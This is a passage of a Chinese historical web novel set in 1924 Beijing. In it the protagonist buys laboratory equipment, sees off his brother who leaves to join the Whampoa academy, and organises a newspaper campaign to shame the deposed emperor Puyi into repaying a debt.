林主任打眼一扫,皱起了眉头,上面的东西真全乎。
显微镜、移液器、烧杯、培养皿……
根本不像一个初学者写出来的,反倒像一个浸泡在室多年的科学家。
“白先生需要的东西都很专业,您可以去洋行预定啊,我们医院用的就是在洋行采购的。”
白敬业摇摇头,“洋行预定的时间太长,我想能不能买点二手的,先练练手嘛。”
“林主任,贵院有没有淘汰下来的器具,匀给我一些,您开价我绝不还价。”
“这个……”
林主任的面色有些为难。
白敬业看了出来,将一小沓银票递到他的手边。
这年头可没有查医生收红包的。
你就是提溜二斤金条送医院,也没人管。
“林主任,上次还没好好谢谢你呢,请您笑纳。”
林主任眯着眼睛一扫,一小沓最少能有三百块。
他一个月基本工资八十块,算上红包勉强能赚个一百多块。
白敬业一出手就是他三个月的工资。
“咳”
林主任轻咳一声,将银票不动声色的划拉到报纸下面。
“白先生,我们这还真有一批快淘汰的器具,不过价格上…”
“您开价,我绝不还价”
“行,那我带您去看看。”
林主任带着白敬业来到器材库。
白敬业一看,协和医院的器具是真全。
显微镜德国蔡司的。
烧杯各种器具一色儿国外的。
协和的背后金主是美国的洛克菲勒家族,也是青霉素的资金提供者。
人家是真财大
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气粗。
“白先生,您要看着行的话。下午五点后派人来拉走。”
“好,一言为定”
等林主任按照价格表给白敬业做完统计。
白敬业的心瞬间就滴了血。
太他妈贵了!
一个二手显微镜两千大洋!
一台普通福特汽车才两千。
倒不是林主任给他加价。
而是这东西就这么贵!
这年代精密仪器的价格都是天价。
1940年,**先生买了一台二手显微镜,花了六万五法币。
换算成大洋要三千块左右,先生用了俩月工资加变卖部分家产才买到的。
白敬业都不敢想,自己办一个盘尼西林生产厂要花多少钱了。
工业化还需要发酵罐、离心机,那玩意更是天价。
白敬业拿着单子,咬着牙出了协和医院。
一瞬间他又快成了穷光蛋。
大房和三房加上他爹,总共给了八千银票。
但那是收养孤儿办学的,一点都不能动。
不够自己还得往里添。
他决定好了,盘尼西林厂在彻底落地前不打算再大量抽卡了。
没办法,手里的资金支持不动。
就算他能抽到谢尔曼坦克和蘑菇蛋,在他手里目前就是一堆废纸。
没有工业化体系拿什么造。
还是先把眼前的事做好稳扎稳打。
白敬业仰天长叹,心想,“冯倒戈快点进城吧,我能不能发财就看这笔奉票炒出来多少钱了!”
……
“少爷,您叫我们?”
白敬业点点头,从柜子里拿出两把**,放到**和李贵面前。
“会用么??”
**和李贵笑了笑,“少爷,**我们会,这个我们还真没用过。”
白敬业手把手教给他们俩怎么拆卸,保险在哪个位置。
“这段时间你俩熟悉熟悉枪怎么用,过一段替我跑一趟奉天,帮我找个人。”
**压低声音道“少爷,您是准备?”
他把手放在脖子上一抹。
白敬业气笑了,给了他一个爆栗,“想特么啥呢,我是让你俩找找我舅舅!”
“枪给你俩是防身用的,你俩比较稳当,小武和小福太跳脱,交给你俩我放心。”
白敬业又拿出一沓现金,“另外,下午五点你俩去趟协和医院,找林主任,我在他那有些东西给我拉回来。”
“是,少爷”
夜晚
白敬业正吭哧吭哧的做做着俯卧撑,就听见耳边房外密集的**响起。
“砰砰砰”
“噼里啪啦”
跟特么放鞭炮似的。
本就不持久的他,吓得差点一哆嗦。
“哎我艹!哪特么开枪呢!”
第26章 白敬功挨揍
白敬业一翻身从床上坐起。
在抽屉里拿出名刀枣泥和****。
他冲床上的木棉安抚道,“没事,你就在书房里待着,我不叫你别出来。”
小木棉吓得直颤抖,躲在床角缩成一团。
白敬业左手刀、右**走出房门。
**两兄弟和李贵两兄弟还有小胡,都在院里紧张兮兮的等着他。
“**!你带着小武,拿上家伙去老宅守着我奶奶!其他人跟我走!”
“是,少爷”
白敬业带着人匆匆忙忙赶奔正房。
正房白景琦也站在院里,手里拿着刀和他那把老式**,正不知所措。
院子里乱做一团,男仆人都拿着棍棒交头接耳说什么的都有。
“哪打枪啊?是不是张大帅打进来了?”
“别扯淡,吴大帅在山海关顶着呢。”
“那是不是洋人又进了咱们北京城?”
“难说,那帮红胡子**都不眨眼。”
白敬业进了院看着乱象大吼一声。
“所有女眷都回屋!没事,都别乱!”
白景琦问道,“外边是怎么了?哪地方打枪?”
此时外边的枪炮声响作一团。
隐约间,还能听到有呼喊声,“打倒…”
白敬业摇了摇头,“先拿梯子上房看看。”
白敬业、白景琦、小胡几人到了前厅拿梯子上房,都露出个脑袋往外看。
只见成群结队的士兵,端着枪从宅门门口通过。
嘴里都还喊着,“打倒铁军阀曹三!停止内战,冯大帅进京调停!”
“打倒铁军阀曹三!”
有一些士兵还冲着天上放空枪。
白敬业猛的回头看向小胡,“今天多少号?”
“23号”
白敬业心中了然,“得,冯倒戈进来了!”
就在这时,有几个士兵发现了他们。
“**!都把脑袋缩回去!再看**一枪崩了你们!”
白敬业等人赶忙低下头,他在心里啐了一口,“呸,**兵痞!”
这年头你和军阀的兵没道理可讲。
民国时期有个说法。
妈了巴子是免票
后脑勺子是护照
伸手五指令
蜷手就要命!
这帮人可不管你是哪个宅门的,和平时还能有一些秩序。
一旦互相混战,谁手里有枪,谁就是大爷!
白景琦下了梯子直犯迷糊。
他指着外边语无伦次道,“不是,他…喊什么?冯大帅调停?打倒曹三?这…他和曹总统他们不是一家的么?”
白敬业心中冷笑,“一家?他他妈是和钱一家的!收了少帅50万银元,转过头就捅吴秀才的腚眼子。”
“我说爸贝,您还没看明白呢?这北京城又要变天啦!你方唱罢我登台!张大帅估计要换衣服喽。”
白景琦笑了笑,“嘿呦,这可真够乱的。”
众人又往老宅去看看,安抚好老太太就各自散去。
九门口
反直联军指挥部
“报告少帅,冯部来电,冯将军已经攻入北京,并且擒获伪总统曹三。”
“啪!”
张少帅听完眼睛都亮了起来,猛的一拍桌子。
“好!妈了个巴子的,陪他老吴玩了这么长时间,**终于把活干完了。”
“电令茂宸,给我全线反击,我要让吴秀才顾头顾不了腚!两天之内攻入山海关。”
“是!”
此时,可以说是少帅一生中最肆意潇洒的日子。
经过奉军改革后,手下带甲数万,尽是精兵猛将。
他的眼中难掩兴奋,二郎腿往桌上一搭,嘴里不自觉的哼起了小曲。
“京时报?”
张六子抽出几份北平的报纸,想看看最近有关京榆地区的新闻。
当他打开京时报第二版,却发现上边一点新闻没有,整版都是小说。
他皱了皱眉头,“射雕英雄传?弯弓射雕?”
过了十几分钟,张六子冲一旁喊道:“徐承业!”
“到!”
“近期的京时报都帮我找出来。”
“是!”
一连三天,冯倒戈占稳了北平城。
他做的第一件事就是一个鞭腿,还特么是高鞭腿。
把溥仪踢出了北平城。
北平的街头巷角也陆续恢复了往日的热闹。
对于老百姓来说。
不管你是曹三做总统,还是张老疙瘩做元帅。
只要不抢老百姓的窝窝头,没人反对你。
可有这么一个群体不管那个,你做的不好,我就上街游你。
这不,北平的学生又开始了反战**。
“反对内战!打倒军阀!”
“反对内战!打倒军阀!”
几所名校的学生联合起来,人是乌央乌央的。
白敬业摘下墨镜,看着**的队伍,内心感叹着。
还是学生敢勇于反
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抗。
我们都曾经历过年少之时。
内心也都曾有过一腔热血。
但随着时间的推移,这腔热血似乎被冰冷的生活降了温。
可学生毕竟还是学生。
**的队伍刚走出没多远,就被一群军兵堵住。
一个挂着少校衔的军官,手拿铁皮喇叭嘶吼道。
“所有人都听着!立刻解散,该回家回家,该回学校的继续去上学!”
“给你们五分钟原地解散!”
领头的学生,手中拿着小旗,脸上看不到一丝畏惧。
他向前走了一步,“我们要见冯将军!问问他为什么帮着张作霖侵占北平!”
“对,我们要见冯将军!”众多学生跟着一起喊起来。
少校紧皱眉头,“你们还有四分钟!马上解散!”
挨着少校旁边的士兵二逼呼呼的说道,“营长,咱们给他们一梭子,他们就老实了!”
少校恶狠狠的骂道,“我给你**,这都是学生,你枪里的**就是打学生的?”
士兵被骂的直委屈,“我…我这不是怕他们**么。”
少校见情况没法逆转,开始下令,“所有人都拿警棍,配合警察武力驱逐!都给我记着谁也不许用枪!”
军兵和巡警挥舞警棍,如同虎入羊群。
那警棍跟雨点似的。
一时间哀嚎声四起。
“少爷,您往后站”
**几个人护着白敬业躲在安全角落。
小胡抻个脖子一个劲儿的往人群里看。
“少爷,那好像是二少爷。”
白敬业一愣慌忙问道,“哪呢?”
他顺着小胡手指的方向看了过去,正是弟弟白敬功。
满头是血,拽着一个被打倒的同学,想拉他起身。
“快!给他救出来!”
白敬业一着忙,从地上捡起块砖头就要往上冲。
“少爷,您别动了,我们去”
白敬业掂量一下自己现在的体格,整不好还没白敬功抗揍呢。
**和王武以极快的速度扎进人堆,一人拽着一个,把白敬功和他的同学从人群中拽了出来。
等人救出来,一行人扭头就跑,直到一个人少的胡同才停了下来。
白敬业大口喘着粗气,一群人里就他的体质最差。
他喘了一会儿才缓过来,斜着眼揶揄道,“我说白二少爷,您这玩的哪出啊?高宠?挑滑车,杀他个干干净净?”
第27章 例会
白敬功还是嬉皮笑脸的,一点都没当回事。
他拉过自己同学介绍着,“洛甫,这是我哥白敬业。”
“这是我同学何洛甫,贵州兴义人。”
“您好,修合学长,早就想和您见面了。”
白敬业点了点头,跟他握了一下手,仔细打量着他,心道,“这就是妹妹佳丽那个死在北伐战场的丈夫。”
“额,你是兴义人?兴义的何敬之和你是什么关系?”
“是我的族叔,修合学长认识我叔叔?”
白敬业摇摇头,“略有耳闻。”
他终于想明白了,怪不得何洛甫去参军黄埔,后来参加北伐。
最后白佳丽领着女儿一定要去台湾,原来人家的族叔是何敬之。
好家伙,这一大家子。
何洛甫颜色是白。
白占元未来是红。
还有个不清不楚的白景伍,这尼玛整个一剧本杀!
白敬业简单查看下两人的伤势,吩咐小胡拦几辆黄包车,先回宅门给他俩治治伤。
“哥,你们先回去吧,我们还要去找同学呢。”
白敬业眼睛一瞪,“待着你的吧!乱成什么样了都,你现在老老实实的治伤,就是对你们那个GM事业最大的帮助了!”
“你要是被抓,这回可没人捞你,四大爷那警察厅长能不能保住还两说呢。”
“**、王武,押着他们俩回家!”
“是,少爷”
白敬功被训得脖子一缩不敢言声。
他心想自己这哥怎么变得跟爹似的,眼睛一瞪还真挺吓人。
这还是之前蹿掇我去百花楼喝酒划拳的哥么?
等回了新宅,还没等柜上的先生来到。
白景琦就拎着药箱进了白敬业的书房。
“呦,老白你怎么来了?”
白景琦瞥了他这不着四六的儿子一眼,“你们从正门进来,谁能看不见?”
他也顾不得和白敬业斗嘴,开始给白敬功、何洛甫检查。
好在都是皮外伤,上点药包扎一下就好。
这伤可比白景琦那一杠子轻多了。
白景琦看着俩人的惨样,开口劝道,“你们成天不好好学习,跟着瞎搅和什么样。”
“张大帅和吴大帅的事你们也跟着瞎掺和。”
白敬功不服气道,“爸,什么叫瞎掺和,我们这是****、抵制内战!”
“要让这些军阀听见我们学生的呐喊声!”
“噗”
白敬业噗嗤一笑,“都特么让人开瓢了,还在这呐喊声?”
“军阀听没听见我不知道,那帮兵痞和巡警手里的警棍倒是听见了。”
“你们那,还是好好学习做点有用的事。”
“喊口号就能把山海关的战争喊停喽?要是有用的话,大先生也不至于被老袁…”
“实践才是检验真理的唯一标准,光喊口号有个屁用。”
“你……”
白敬功还想反驳几句。
反倒是何洛甫若有所思的想着他说的这些话。
白景琦一巴掌糊在白敬功的伤口上,“听听你哥说的,最近你哪也不许去!就在家里养伤。”
“敬业,明天下午公中上会,你跟着一起参加。”
夜晚
何洛甫躺在床上翻来覆去的烙饼。
响动惊醒了旁边睡着的白敬功。
“洛甫想什么呢还不睡?”白敬功睡眼惺忪的问道。
“我在想白天修合大哥说的那些话。”
“嗨~想他干嘛?我大哥这人就那样,说话不着边际。”
“不”
何洛甫翻身坐了起来,面色有些凝重,“我觉得大哥说的有道理,实践才是检验真理的标准,空谈容易误国!”
“敬功,我决定了,要参军去黄埔军校。”
白敬功一翻身也坐了起来,“你要退学?”
“嗯”
“你要退学了,就剩我自己那可太没意思了。”
白敬功眼睛一亮,“要不咱俩一起去参军吧!”
“你家里能放你去么?”
白敬功大手一挥,“没事!反正家里还有我大哥呢,没人管我,咱们明天一早就偷摸走!”
两人商量好该走哪条路线。
白敬功也把自己积攒的零花钱都掏了出来。
天还没大亮,两人就借口出去吃早饭溜出了白家。
由于冯倒戈偷袭北平弄得沸沸扬扬。
白敬业修缮小院的计划也只能暂时停摆。
这几天他倒是闲了下来,成天泡在戏院、饭馆。
要不就在家和小木棉嘿咻。
舒服嘛,无罪的!
这不,中午在东兴楼狠造了一顿,这才晃晃悠悠来到百草厅老号。
“大少爷,人都齐了就等您了。”
白敬业打量了一下和自己说话的人,“您是新来的大柜?我怎么没见过您?”
“我叫毕云良,是新来的头柜。”
“得,又一地下党”白敬业
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心里寻思着,迈步走进了议事房。
一进议事房,跟特么进王母娘娘蟠桃会似的,烟雾缭绕好似仙境一般。
议事房的面积不算小,但也架不住这么多人抽烟。
香烟、雪茄、烟袋、烟斗,抽什么的都有。
白敬业打眼一扫,人来的还挺全。
三个房头的第二代一共六个人,除了在西安的白景陆没到,其他都到了。
还有百草厅老铺的掌柜赵五爷、南记的掌柜马爷,涂二爷、许先生等等。
只不过一个个愁眉不展都耷拉着脸。
他往自己的座上一瘫,也抽出香烟点上,不能光吸二手烟。
白景琦清了清嗓子,“咳,人都到齐了,各家有什么难处都说说吧。”
南记的马爷率先开口,“七老爷,内廷的长春、储秀、永寿三宫,总共欠了我们二十万两银子。”
“每回去要都是一拖再拖,现在好了,冯大帅把溥仪赶出了紫禁城。”
“我去政府问,人家告诉我找溥仪去要,可谁知道溥仪跑哪去了?”
赵五爷摆摆手无奈道,“你就算找到溥仪,他也不会给咱们银子。”
“吴大帅这么一败,听说要张大帅和冯大帅要请段大帅回来执政,组建什么执政府。”
“上边一换人,估计又要给咱们药行摊派军饷。七老爷,您得提前想辙,公中的银子恐怕很难支撑。”
白景泗一扇扇子,“还有我这呢,这几天政府已经让我靠边站了,估计我这警察厅长是保不住了。”
“……”
众人七嘴八舌,反正各有各的难处。
一个公中例会硬是开成了诉苦会。
看着这一群人,白敬业心里也不由得感叹,自己这爸贝也是真难。
操持这么一个大家族属实是不容易。
“咚咚”
白景琦拿着烟斗在桌上敲了敲,示意众人安静。
他扭头看向白景伍,轻声笑道,“五哥,你在政府也不太好,您怎么一句话都没说。”
白景伍淡淡一笑,“我这点事和家里比算不上什么,再说我已经准备辞职了,过一两个月准备去南方看看,你们不用担心我。”
白景琦点了点头,喊了一声,“敬业!”
白敬业一怔,心说,“这时候你喊**嘛?我能给你变出钱来?”
“在呢,爸贝有事您说。”
“各位长辈说的你都听到了,说说你有什么想法。”
第28章 偷跑参军
白景琦其实也没指望他能说出来什么好建议。
但他发现自己这儿子最近一段时间表现不错。
虽然跟自己没大没小,但是做事很有分寸,还在杨亦增的事情上替家里挽回了名声。
无非是抱着历练历练他的态度。
白敬业挠了挠头,心里不停的腹诽,“我特么能有啥想法?我是能让段老虎不找你们要钱?还是能变出钱来?”
突然,他脑中灵机一动有了主意。
“我爸爸让我说,那我也说两句,关于执政府要钱的事,我也没招,还是劝各位尽快做好打算。”
“您们别忘了,直奉开战前,咱们药行是花了大钱给直系作军饷!
“现在天一变,万一人家找后账,恐怕这关更难过。还是舍财保平安吧。”
众人一听是这么个道理,都纷纷点头。
白敬业又道:“至于溥仪的事,我还真有点想法,咱们可以逼着他还钱!”
“溥仪现在都跑没影了,怎么逼他还钱?”白景怡在旁问了一句。
“您听我说啊大爷,咱们给他来个登报!”
一提登报大伙都来了兴趣,眼巴巴看着白敬业。
“咱们呐,托报社写两篇讨债的文章,把宫里这些年欠的钱都写上去。”
“另一边呢,咱们拿着欠条到**去起诉溥仪。不管成与不成,都闹他个人尽皆知!”
“我看溥仪这皇上的脸面能不能挂的住!”
这招有用么?放在早些时日肯定是没用。
就算溥仪是个吉祥物,那也不是白家能拿捏的,政府多少会顾及些脸面。
可是冯倒戈的一鞭腿,算是把皇权的最后一块遮羞布摘了下来。
风向一下就转变了,现在你搞溥仪就是ZZ正确。
政府乐得你去搞他,因为可以引发**,冲淡冯倒戈和张老疙瘩他们做的事。
还有一点,白敬业也是从刀妃身上吸取的经验。
第一个登报和溥仪离婚撕逼的就是刀妃。
溥仪最好面子,本来不想离婚,一看自己被登报立马所有条件全答应。
众人低着头一阵思索。
白景琦龇着牙笑了起来,指着白敬业说道,“你小子真踏马坏!”
白景怡心里有些顾忌,“这么做会不会太不体面了,他…他毕竟是皇上啊。”
白景琦满不在乎的鄙夷道,“什么皇上!哪家的皇上能让人撵出紫禁城,前几年被人关成圈里他就不是皇上了!我看挺好。”
白敬业给白景怡续了一杯茶,“大爷,您得这么想。许他当老赖,还不许我们要钱?”
“欠债还钱、天经地义!就算咱们要不到钱,顶多登个报纸咱们也不吃亏。”
“我看少爷说的对,欠债还钱、天经地义!”南记马爷在旁附和了一句。
“那就这么办!敬业这件事交给你,成与不成无所谓,主要咱们得出这口气!”
白景琦说着站起身环视众人。
“各位!几十年与白家荣辱与共,我先谢谢各位,咱们百草厅又要度难关了。”
“我先表个态,二房今年所有的股息暂停,全部交于公**渡难关。”
紧接着大房的白景怡和三房的白景双,也都纷纷表态支援公中。
白敬业一看二代的凝聚力,心还是比较齐的。
到了第三代花花肠子就多了起来。
正事谈完,白景琦宣布今晚在济丰楼摆宴。
再难不能耽误吃喝啊,团建还是很有必要的。
正当大伙往外走的功夫,服侍黄春的丫鬟莲心,慌慌张张的跑了过来。
“七老爷不好了,二少爷离家出走了!”
白景琦一听就愣了,慌忙问道,“什么时候的事?”
“今早我帮二少爷打扫屋子,发现屋里没人,桌上还留下一封信。”
白景琦夺过信,一边看还一边翻眼瞄着白敬业。
看完他将信递给了白敬业。
白敬业接过看完,也懵逼了,心想,“你特么跑就跑,锅还他妈甩我身上了。”
信上写着,自己与洛甫思来想去一晚上。
觉得大哥说的对,实践是检验真理的标准,我辈应付诸行动。
决定和洛甫同去黄埔参军救国,完成大先生的志愿。
白敬业皱着眉头,要来一张报纸。
在上面果然找到黄埔的第三期招生简介。
报名截止时间至11月末,广州与上海两个招生点。
“爸,我去找他吧,他一定准备先去上海报名,去上海最快的方式就是去天津坐船,他们走不远。”
白景琦叹了口气,想了想,“好吧,你去找找看,要是…
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算了,就由着他去,你要注意安全。”
白敬业还是头一次听见白景琦和他这么说话,一时间鸡皮疙瘩都起来了。
他马上起身赶回宅门,收拾好应用之物。
带着**、王武两兄弟坐火车赶奔天津。
等到了天津已经是晚上六点左右。
九河下梢天津卫,三道浮桥两道关!
到了天津卫,您呐,就尼玛是到了家了!
如今的天津是一等一的大城市,是国内第二大商业城市,北方最大的金融中心。
南有上海、北有天津。
“少爷,咱们找个地方落脚吧,明天早点去码头,兴许能碰见二少爷。”
白敬业点点头,觉得**说的有道理。
他想想笑了出来,一拍**的肩膀,“今儿个少爷带你们开开洋荤!叫车,咱们到起士林!”
这个时代天津最有名的西餐厅就得数起士林。
虽没有利顺德那么正式,胜在休闲娱乐上,是天津有名的社交之地。
要说亲哥俩的想法一样呢,白敬功是白敬业带出来的,那也是喜好享受。
原本何洛甫的想法是随便找个地方住下,第二天坐船就走了。
拗不过白敬功,非要说以后当兵没什么机会出来玩,今天咱俩吃吃西餐、逛逛夜天津。
这俩人就在起士林入住。
起士林的门前接待,穿着燕尾服,打扮的十分正式。
见白敬业衣着不凡立马迎了上来,“请问三位先生是要用餐么?是否有预定?”
白敬业摇摇头,“没有,我们从北平来的,想尝尝起士林的西餐。”
“欢迎您前来,里面请”
一进起士林,耳边就听见悠扬的管弦乐声。
白敬业也听不出好坏,正要跟着侍从寻找位置。
**拍拍他的肩头,“少爷您往那边看。”
白敬业目光看过去,好嘛,弟弟白敬功正在那切牛排呢。
左一口牛肉、右一口红酒十分的惬意。
“我说二位吃的还满意么?”
白敬功头都没抬,“好吃!再来份牛排,红酒也来一瓶!”
何洛甫看见白敬业赶紧起身,“修合大哥,您怎么来了。”
白敬功听见也抬起头,见自己的哥哥正笑眯眯的看着自己。
“哥……嗝!”
第29章 送别
房间里,白敬功、何洛甫站在白敬业的面前。
尤其是白敬功有些瑟瑟发抖。
白敬业在沙发上翘着二郎腿,吐出一口香烟,这才慢条斯理的说道。
“你们俩真行啊,留下封信不辞而别,知道家里急成什么样了?”
“奶奶岁数大了,你这不是给她添堵么?”
“嘿嘿,哥,我们这是听您的话。您是有名的作家,说的都对。”
白敬功嬉皮笑脸的说道,“实践检验真理,这话多有道理,我们这是用实际行动……”
“你别给我嬉皮笑脸的!”
白敬业呵斥了一声,他皱着眉头看向二人,“你们俩都想好了么?这条路不好走。”
“你们知道中国的封建王朝有多少年么?”
他伸出两根手指,“从秦皇到民国足足2133年!”
“现如今的北洋政府说是民国,但领头的军阀都想穿那身衣裳。”
“你们走的这条路是一个J级推翻另一个J级!”
“这不是请客吃饭,也不是写字绣花。是实打实的J级碰撞,而J级碰撞的手段就是战争!”
“我最后问你们一遍,你们真的想好了么?现在回头还来得及,要是学校待的不舒服,我可以花钱送你们出国留学。”
何洛甫一点犹豫都没有,站的笔直,“我想好了学长,即使这条路再难,我也会义无反顾的走下去,有些事总要有人去做。”
白敬业毫无意外的点了点头。
人家家里的背景,即使现在不参军,过一段时间家里也会安排他。
他又扭头看向白敬功。
白敬功面色也变得严肃,“哥,我也想好了!好男儿生逢乱世,就应该带三尺之剑立不世之功!”
白敬业叹了口气,知道劝不住二人。
他从带来的行李里抽出一个小盒,“既然都想好了,我也不再劝你们,里面有些东西算是我送你们从军的礼物。”
盒子里是两支**,还有300大洋的银票。
白敬功、何洛甫看见枪眼睛都放起光来。
白敬功拿着**爱不释手,“哥,你这从哪弄来的,太帅了!”
“喜欢就好,走吧,你俩刚才也没吃饱,我请你们吃饭。”
吃饭之时,白敬业心事重重。
起士林各种精致的菜肴,到嘴里如同嚼蜡一样,谁也不知道他心里在想什么。
一夜无话
第二天,白敬业给他们送到码头,不放心的叮嘱着白敬功。
“到了军校以后,不要像在大学似的,记住要做个纯粹的军人,尽量,不,是绝对不要参加任何派系之间的纷争。”
“你的身后还有白家,有整个百草厅,你不参与什么纷争,也没人会去难为你。”
“如果有事情,要多听你们主任的话,那是一个奇才!”
白敬业的担心不无道理,一座黄埔校、半部民国史。
里面暗流涌动,危险性一点不比战场上低。
尤其再过几年,日记家一个发疯开启412。
白敬功看着哥哥严肃的表情,点点头,“我记住了哥!”
“呜……!”
码头的汽笛声悠扬,白敬业冲着白敬功、何洛甫挥了挥手。
此时或许他也没意识到,自己已经真真切切的融入了白家。
真的把白家当做了自己的家,会为了亲人而担心。
这人呐,越缺什么就越在意什么。
前世的白敬业很缺少家庭的温暖。
这一世,在白家这一大家子人却弥补了他的缺失。
他越在意就越怕失去。
看着船只远去,白敬业等人也转身出码头。
送行的人多同时出码头,十分的拥挤。
“哎哟我去~”
旁边的人一个不留神踩在了白敬业的脚上。
差点给白敬业踩的蹦了起来。
“这他妈谁啊,怎么这么大的劲!”
他心想着刚想出声,却愣在了原地。
踩他的人是个十**岁的姑娘。
穿着一身黑色旗袍,旗袍外披着羊毛的披肩。
长着一张鹅蛋脸、眼角眉梢带着些许的英气。
“对不起,先生”
“没…没事”
白敬业的心蹦蹦蹦直跳,嗓子眼要是粗一点都他妈能蹦出来。
这孙子有种要恋爱的感觉。
姑娘长得要说倾国倾城那是扯淡,对比之下没有张月婷漂亮。
但每一个点都长在了他的审美上。
他看着姑娘的背影,**呼呼的笑了起来。
**的眼睛很毒,凑近白敬业说道,“少爷,这姑娘肯定是个练家子,而且还是个高手。”
“你从哪看出来的?”
“我们练武之人走路与常人不同,她走路上半身基本没有晃动,而且步伐沉稳,绝对是个练家子。”
白敬业撇了撇嘴,“高手?高手还站不稳踩我一脚?”
“这…这我就不知道了”
“行了,走吧”
白敬业留恋的看了眼,一瘸一拐的往出走,有些遗憾没说上两句话。
在他看不见的地方,姑娘嘴角勾起一抹弧
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度。
好似小孩子恶作剧成功了一样。
“哼!花花公子。”
……
“李兄,您…您这是怎么了?几日没见怎么变得这么憔悴?”
在报社的办公室,白敬业见到了多日未见李主编。
李主编凄惨的模样,着实给他吓了一跳。
整个人散发出一种酸臭、**的样子,也不知道几天没洗澡,好像要**似的。
头发乱蓬蓬,胡子拉碴、眼角都是里都是眼屎。
桌前的烟灰缸里的烟头都有些积攒不下。
现在的他没有一点当初意气风发的样子。
李主编见到白敬业,仿佛终于见到可以诉苦的亲人。
他鼻涕一把泪一把的说道,“老弟!你可不知道…老哥我一言难尽啊!”
“自从冯大帅倒戈进京,可他妈给老哥我坑苦了。”
原来自从**进京,把政府的官员动了一批。
京时报的金主也遭了难,连带着他升迁的希望也破灭了。
不仅如此,**还要彻查支持直系的人。
京时报可以算作是替直系发声的喉舌,自然就倒了霉。
李主编花了不少钱,才让自己免于牢狱之灾。
遭此大难,不仅京时报在封禁的边缘,就连他的姨太太都跑了俩!
“兄弟,升迁无望也就算了,可这京时报是我多年的心血!他…他冯大帅说要封禁我的报社!这可怎么办!”
白敬业呵呵一笑,“李哥,我倒是有一个主意,能让你的报社免于封禁,你想不想听?”
“兄弟,你不是在和我开玩笑吧?”
白敬业翻了个白眼,“都什么时候了,我还能逗老哥?”
“快说快说”
“李哥,你知道冯大帅现在最大的心病是什么吗?”
李主编摇了摇头。
白敬业心想,“就特么这嗅觉还总想当官呢?幸亏没当上,不然早晚被玩死!”
他的手指在桌上敲了敲,“**啊李哥!这街上隔三差五的**,批判冯大帅,你说他闹不闹心?”
“你要是能把他的这块心病去了,你这报社不就保住了么!”
李主编扶了扶眼镜,表情略有尴尬,“这倒是,可我也不能公开和民众唱反调,到时候没等封禁,他们估计就先把我报社砸喽。”
“哎~”
白敬业一步步诱导着他,“当然不能那么做,咱们可以把**转移,扔出一个劲爆话题!”
“这帮民众的思维一转移,有个几天估计也就忘了冯大帅的事。”
第30章 登报讨债
李主编一听他的思路,顿时来了精神。
“兄弟快说,是什么样的话题?”
“李兄,您知道溥仪跑哪去了?”
李主编寻思了一下,“听说是跑天津了,住在他侍卫张彪的府里。”
白敬业一拍手,“就拿这个溥仪说事!”
“李兄有所不知,溥仪现在还欠我们家20万两的药钱。我打算给他来个登报讨债。”
“同时李兄,你也趁机写一篇抨击废帝溥仪的文章,就说他是满清余孽,阻挠五族共和的罪人,冯大帅英明等等。”
“您说这个话题够不够劲爆?您再想想到时候能引发多大的轰动?”
李主编听完半天没说话。
过了一会儿,他浑身颤抖,两眼泛红,鼻孔里喘着粗气。
白敬业以为他害怕了,刚想说不行算了。
“啪!”
李主编使劲的一拍桌子。
“高!兄弟你实在是太高了!”
他兴奋的在位置上原地转起圈来,嘴里还叨叨个不停。
“这可是皇上!登报批判一个皇上!哈哈哈哈”
“我京时报有救啦,不,不是有救。我京时报会成为全国最大的报刊!”
“兄弟!你再好好跟哥哥讲讲,应该怎么做!”
白敬业阴阴损损的给他讲了不少后世抹黑人用的阴招。
什么发动乞丐散布谣言。
让手下记者去张园堵门。
捏造点不实言论在报纸上发表。
李主编立起大拇指,“高,兄弟,这次要能帮我渡过难关,您放心,哥哥以后必有报答。”
“李兄,这是说哪的话”
白敬业大手一挥,“你好了,我的小说才更好嘛,要不然我换一家报社也麻烦。”
“李兄,我这次登报讨债的费用,你看多少合适。”
李主编把脸一拉,“兄弟,你这是骂我呢?”
“哈哈哈哈”
……
“号外,号外”
“满清废帝溥仪欠债不还!阻挠五族共和实乃民国第一罪人!”
“号外,号外!”
“溥仪?噗…咳咳,**!谁这么胆子敢跟皇上要债!报童给我来一份。”
一个吃着老豆腐的食客,听见报童喊话,差点没给自己呛死。
他接过一看,“嘿!又是白修合这孙子,他怎么三天两头的上报纸。”
文三今天的运气不错,大清早就接了两个大活。
他正饥肠辘辘的往早点摊走,就见卖大碗茶的摊铺围满了人,都在议论纷纷。
他这个人,生来爱看热闹,也凑了过去听着。
“那可是皇上啊,天底下还有敢管皇上要债的?”
“欠人家钱凭什么不给人家。”
“白先生多好的人,听说收养不少的孤儿,这大善人的钱可不能欠,以后天老爷要降惩罚哩!”
听了一会儿,文三终于明白发生了什么,也发表自己的看法。
“呵!要文爷我说啊!这钱该要,欠债还钱、天经地义!皇上怎么了?现在都民国了,哪来的皇上!他溥仪就是一公民!”
“而且白先生不是说了么,溥仪还钱后,他愿意拿出五万块来捐给自己的母校!”
“这人多仁义啊!该要!”
一旁有认识文三的车夫,也跟着起哄,“三儿说的对,该要!”
咱们的大善人白敬业,此时看报乐得前仰后合。
他是真真的佩服李主编手里这杆笔,**,能把黑的写成白的。
白敬业如今的名声,李主编是功不可没。
他在报纸上给溥仪描绘成古往今来第一大恶人。
什么阻挠**GH、压迫北洋政府。
满清毒瘤阻挠中华民族发展三百年!
连白敬业都替溥仪抱屈,有些事跟溥仪是一点关系没有。
袁大头打进去的时候,他才几岁啊?
李主编最狠的杀招是,他弄了一帮记者去北大做采访。
在文章的底部又开设一个专栏,名为北大全体成员对此事的看法。
他是准备将溥仪一棍子打死,逮着软柿子往死捏!
用现代话讲,明知道他傻,你为啥还这么欺负他?
因为**好欺负。
“孟教授,您对北大学生白修合向溥仪讨债的事情怎么看?”
孟教授扶了扶眼镜,“这是应该的,溥仪作为民国的公民,欠债有欠条,当然要还钱。”
“而且欠债还钱应该是每个人都该有的良知。”
不得不说,李主编这一手真高。
北大向来的传统就是护犊子。
而且现在的北大,已经好几个月没给老师发工资了。
这些教授、学者,一听自己的学生准备给北大捐五万块!
全都一个劲的替白敬业说好话来声讨溥仪。
捐款五万其实是白敬业心血来潮,反正也特么不是自己的钱。
溥仪还钱他就捐,
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不还自己也不损失。
而张园内,这个被白敬业挂在报纸上的主人公,已经彻底歇斯底里。
溥仪拿着报纸发疯似的乱叫,“这个白修合眼里还有没有朕!”
“他想干什么,他们白家想干什么!”
仅有的几个溥仪死忠慌忙跪下,“请陛下息怒。”
溥仪看了看报纸上的欠条,“宫里真的欠百草厅的钱么?”
这倒不是溥仪装傻,他是真不知道。
